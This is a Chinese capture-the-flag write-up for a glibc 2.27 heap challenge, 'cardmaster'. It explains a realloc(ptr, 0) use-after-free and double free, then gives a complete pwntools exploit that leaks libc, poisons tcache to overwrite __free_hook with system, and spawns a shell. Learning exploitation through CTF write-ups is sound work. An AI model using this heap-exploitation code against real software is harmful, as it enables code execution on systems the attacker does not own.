前言

去年打wdb的时候,libc2.27还没看过,所以导致没碰这道题,现在复现一下。

恢复结构体

struct deck_cards{
int suit_count;
int digit_count;
long long int randomize level;
char* chara;
void (*func)();
all_suit* all_suit_heap;
}

struct all_suit{
suit* one_suit[4];
}

struct card{
long long int suit_point;
long long int digit_point;
}

struct suit{
card one_card[13];
}

这是我自己恢复的结构体。恢复结构体这一步是帮助后续分析的重中之重。

这里提一下如何在ida里插入自定义结构体:在ida里shift+F1,然后按下“Insert”键,即可插入自定义的结构体。

之后在变量上按下Y键,更改变量类型即可。

utf-8编码学习

之前只知道utf-8是变长的,但是不知道具体是如何规定的,这个题目中的show_cards函数中就利用了这个规则,之前我不清楚导致分析这段代码较困难。

这里贴一下这段代码

cur_strptr = 0;
while ( v2 < a1->suit_count )
{
nember_of_1 = 0;
for ( i = 128; (i & a1->chara[cur_strptr]) != 0; i /= 2 )
++nember_of_1;
if ( nember_of_1 > 4 )
{
puts("invalid suit table!");
exit(0);
}
v8[v2] = cur_strptr;
v8[v2 + 52] = nember_of_1;
cur_strptr += nember_of_1;
v2 += nember_of_1 != 0;
}

这段代码宏观上理解就是,首先计算第一个字节的前缀1数目,然后把当前字节下标记录下来,把前缀1数目记录下来,然后下标+=前缀1数目。

而utf-8的规则里面正好有这一条:

Unicode 码点范围 UTF-8 编码格式 前缀 说明
U+0000 ~ U+007F 0xxxxxxx 0 单字节(兼容 ASCII)
U+0080 ~ U+07FF 110xxxxx 10xxxxxx 110 / 10 双字节
U+0800 ~ U+FFFF 1110xxxx 10xxxxxx 10xxxxxx 1110 / 10 / 10 三字节
U+10000 ~ U+10FFFF 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx 11110 / 10 / 10 / 10 四字节

其中第一个字节的前缀1的数目表示了当前字符用几个字节来表示,之后n-1个字节全都是10开头。

realloc学习

realloc(realloc_ptr, size)有两个参数,并且在特定参数有特定效果

size == 0 ,这个时候等同于free。也就是free(realloc_ptr),并且返回空指针。即没有uaf

realloc_ptr == 0 && size > 0 , 这个时候等同于malloc,即malloc(size)

malloc_usable_size(realloc_ptr) >= size, 这个时候会把多余的内存释放掉,并返回原来的指针

malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉

这里的realloc函数同样调用了__free_hook函数。具体来说,realloc直接调用了 _libc_free函数,而free函数是 _libc_free函数的别名,而free函数调用了 _free_hook函数,因此改写free_hook同样可以作用于realloc。

分析漏洞点

这个程序的关键漏洞点在这里

if ( a1->chara == &suit_string )
tmp_str = malloc(4 * a1->suit_count);
else
tmp_str = realloc(a1->chara, 4 * a1->suit_count);

realloc的第二个参数如何是0,就会导致realloc退化成free函数,然而tmp_str会被赋值为0,但是a1->chara这个函数并不会更改,这样也就造成了uaf漏洞,同样也有double free漏洞。

exp

from pwncli import *

context(log_level='debug', arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
uu64 = lambda x: u64(x.ljust(8, b'\x00'))
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
ru = lambda x: p.recvuntil(x)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def cmd(c):
sla(">> ",str(c))
def init():
cmd(1)
def set_info(suit_count,digit_range,r_level,new_suite='a'):
cmd(2)
sla("suit count:",str(suit_count))
sla("digit range 1 - ?",str(digit_range))
sla("randomize level:",str(r_level))
if suit_count==0:
return
sla("new suite set:",new_suite)
def get_info():
cmd(3)
def shuffle():
cmd(4)
def show_cards():
cmd(5)
def debug():
gdb.attach(p,"b *$rebase(0xA9D)")
def free():
set_info(0,13,1000)
def malloc(size,pad):
init()
set_info(size//4,13,1000,pad)
p=process("./cardmaster")
libc=ELF("./libc.so.6")
## 利用unsortedbin泄漏libc
malloc(0x420,b'a')
free()
get_info()
ru("suit chara set:")
libc_addr=uu64(p.recv(6))+0x7fe6fb800000-0x7fe6fbbebca0
leak("libc",libc_addr)

free_hook=libc_addr+libc.sym['__free_hook']
malloc_hook=libc_addr+libc.sym['__malloc_hook']
leak("free_hook",free_hook)
system=libc_addr+libc.sym['system']
#debug()
# double free漏洞
malloc(0x40,p64(system))
free()
# tcache[1]: a
free()
# tcache[2]: a->a

malloc(0x40,p64(free_hook))
# tcache[1]:a->__free_hook
malloc(0x40,b'/bin/sh\x00') #申请了链表头的a
#tcache[0]:__free_hook
malloc(0x40,p64(system)) #申请了链表头的__free_hook,并且把__free_hook改写成system

malloc(0x40,b'/bin/sh\x00')#写入/bin/sh\x00

free()#触发 system("/bin/sh\x00")
ti()

后言

一开始由于对realloc函数不熟悉导致并没有发现漏洞点,反而被大量的堆块给迷惑了。

总结一下就是,在发现漏洞点之后,要先控制容易控制的,并且由于不是菜单题,对堆块的掌握比较差,因此要先转换成菜单题(malloc free show几个函数),从而降低分析难度。